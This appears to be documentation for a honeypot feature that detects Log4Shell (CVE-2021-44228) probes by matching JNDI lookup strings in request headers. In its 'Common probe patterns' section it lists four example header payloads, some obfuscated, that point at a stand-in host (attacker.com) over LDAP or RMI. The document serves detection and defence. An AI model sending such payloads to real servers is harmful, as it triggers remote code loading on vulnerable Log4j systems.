Log4Shell Detection
CVE-2021-44228 — Log4Shell is one of the most severe vulnerabilities in recent history (CVSS 10.0). It affects Apache Log4j 2 versions 2.0-beta9 through 2.14.1 and allows unauthenticated Remote Code Execution via a simple JNDI lookup string in any logged field.
How detection works
Unlike other traps that match on URL paths, Log4Shell detection is header-level and applies to every request.
The honeypot scans all request headers and the URL query string for the JNDI injection pattern:
${jndi:
If found, attack_tag is set to log4shell before the normal path-based routing. This means a Log4Shell probe to /wp-login.php gets both wp-login as the original tag and log4shell as the tag (Log4Shell takes priority).
Common probe patterns
Attackers embed JNDI lookups in headers like:
User-Agent: ${jndi:ldap://attacker.com/a}
X-Forwarded-For: ${jndi:ldap://attacker.com/a}
Referer: ${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://attacker.com/a}
X-Api-Version: ${${::-j}${::-n}${::-d}${::-i}:rmi://attacker.com/a}
The honeypot’s detection is case-insensitive and catches all of these.
What to do with Log4Shell hits
In your webhook routing, treat log4shell hits as high priority:
- Immediately block the source IP at your firewall.
- Alert your security team via Slack or PagerDuty.
- Check whether the attacker IP appears in any of your real application logs.
Log4Shell scanning never stopped — automated botnets continue probing millions of IPs daily for this vulnerability.